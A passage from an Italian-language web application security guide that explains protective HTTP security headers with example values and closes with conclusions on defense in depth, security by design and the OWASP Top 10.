browser eseguirà solo script presenti sullo stesso dominio e bloccherà qualsiasi script inline (a meno di `'unsafe-inline'`) o da domini esterni non esplicitamente permessi. `frame-ancestors 'none'` è l'equivalente moderno di `X-Frame-Options: DENY`. Una CSP robusta è la difesa più efficace contro lo XSS.

2. Strict-Transport-Security (HSTS)

- **Header:** `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`
- **Spiegazione:** Forza il browser a connettersi al dominio e a tutti i suoi sottodomini esclusivamente tramite HTTPS per la durata di `max-age` (in secondi). Previene attacchi di downgrade (SSLstrip) e impedisce all'utente di cliccare su avvisi di certificati non validi per accedere al sito. L'opzione `preload` permette di includere il dominio in una lista preinstallata nei browser, rendendo l'uso di HTTPS obbligatorio fin dalla prima connessione.

3. X-Frame-Options

- **Header:** `X-Frame-Options: DENY`
- **Spiegazione:** Previene il Clickjacking indicando al browser se è permesso renderizzare la pagina all'interno di un elemento `<frame>`, `<iframe>` o `<object>`. `DENY` lo vieta a chiunque, `SAMEORIGIN` lo permette solo se l'iframe e la pagina contenitore sono sullo stesso dominio. È utile per la compatibilità con browser più vecchi, ma è oggi soppiantata dalla direttiva CSP `frame-ancestors`.

4. X-Content-Type-Options

- **Header:** `X-Content-Type-Options: nosniff`
- **Spiegazione:** Istruisce il browser a non fare "MIME type sniffing" e a rispettare esattamente il Content-Type dichiarato dal server. Ad esempio, se il server dichiara `Content-Type: text/plain` ma il file contiene HTML, il browser non lo interpreterà come HTML. Mitiga un vettore di attacco in cui un aggressore può caricare un file .jpg contenente codice HTML eseguibile.

5. Referrer-Policy

- **Header:** `Referrer-Policy: strict-origin-when-cross-origin`
- **Spiegazione:** Controlla la quantità di informazioni sull'URL di provenienza (referrer) che il browser include quando un utente clicca un link o carica una risorsa da una pagina a un'altra. `strict-origin-when-cross-origin` invia l'URL completo per richieste same-origin, ma solo l'origine (schema + host + porta) per richieste cross-origin quando la connessione è HTTPS, e nulla se la richiesta cross-origin è in HTTP. Bilancia privacy e utilità analitica.

6. Permissions-Policy

- **Header:** `Permissions-Policy: camera=(), geolocation=(self "https://maps.example.com"), microphone=()`
- **Spiegazione:** (In precedenza `Feature-Policy`). Permette di abilitare, disabilitare o limitare l'uso di API del browser e funzionalità hardware (fotocamera, microfono, geolocalizzazione, accelerometro, ecc.). Ad esempio, `camera=()` la disabilita per l'intera origine. Questo aiuta a ridurre la superficie d'attacco e a prevenire l'uso malevolo di queste API in caso di XSS.

4. Conclusioni

Sintesi delle vulnerabilità principali

L'analisi condotta evidenzia come un'applicazione moderna, sebbene sia basata su stack tecnologici avanzati come React e Express, rimanga esposta a un ampio spettro di vulnerabilità. Lo **XSS** e le **SQL Injection** rappresentano le falle più critiche a livello di codice applicativo, rispettivamente lato client e server. Sul fronte della rete, l'assenza di **HTTPS** o una sua configurazione lacunosa espone l'applicazione a intercettazioni (**MITM**) che vanificano ogni altra misura di sicurezza. La corretta gestione della sessione e l'implementazione di difese come la protezione **CSRF** e gli **HTTP Security Headers** completano il quadro delle difese indispensabili.

Importanza della sicurezza multi-livello

Nessuna singola misura di sicurezza è sufficiente. Un approccio di "**defense in depth**" (difesa a più livelli) è l'unica strategia efficace. Un firewall a livello di rete è inutile se l'applicazione è vulnerabile a SQL injection. La crittografia HTTPS è vanificata se un attacco XSS può leggere i dati dal DOM dopo la decifratura. La sicurezza deve essere pervasiva e ridondante: validazione input (backend), escaping output (frontend), cifratura del canale (rete), hardening delle risposte HTTP (server) e gestione sicura delle sessioni (back-end) devono coesistere e rafforzarsi a vicenda.

Principio di Security by Design

La sicurezza non può essere un'aggiunta a posteriori. Deve essere integrata in ogni fase del ciclo di sviluppo software. Dal design dell'architettura (separazione frontend/backend, API REST che comunicano in JSON), alla scrittura del codice (prepared statements per ogni query, escaping in React), fino al deployment e alla configurazione (abilitazione di TLS e helmet su Express). Un processo di sviluppo che include threat modeling, code review focalizzate sulla sicurezza e test di penetrazione periodici è essenziale per costruire e mantenere un'applicazione robusta.

Riferimento concettuale a OWASP Top 10

Le vulnerabilità discusse si allineano direttamente alle categorie di rischio più critiche identificate dall'**OWASP Top 10**, il documento di riferimento globale per la sicurezza applicativa:

- **A01: Broken Access Control** (non trattato in dettaglio ma correlato a sessioni e autorizzazioni).
- **A02: Cryptographic Failures** (MITM, mancato uso di HTTPS, TLS configurato male).
- **A03: Injection** (SQL Injection, XSS).
- **A05: Security Misconfiguration** (mancanza di Security Headers, cookie non protetti).
- **A07: Identification and Authentication Failures** (Session Hijacking, furto di cookie). Questo allineamento sottolinea come le best practice di sicurezza discusse siano universali e fondamentali per qualsiasi applicazione web distribuita.